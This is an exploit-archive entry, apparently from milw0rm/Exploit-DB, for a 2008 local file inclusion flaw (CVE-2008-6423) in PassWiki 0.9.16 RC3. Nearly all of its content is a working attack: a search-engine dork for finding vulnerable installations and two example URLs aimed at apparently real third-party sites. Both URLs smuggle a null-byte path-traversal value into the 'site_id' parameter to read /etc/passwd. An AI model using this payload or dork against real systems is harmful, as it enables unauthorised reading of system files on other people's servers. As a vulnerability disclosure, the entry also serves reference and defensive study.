PassWiki 0.9.16 RC3 - 'site_id' Local File Inclusion

Author: mozi
type: webapps
platform: php
port: 
date_added: 2008-05-30  
date_updated: 2016-12-01  
verified: 1  
codes: OSVDB-45853;CVE-2008-6423  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 5704.txt  

dork: "powered by PassWiki"
example:
http://w3.funsrv.com/~konjo/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00
http://inajob.no-ip.org/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00


author:mozi2weed@yahoo.com
http://rstzone.org

# milw0rm.com [2008-05-31]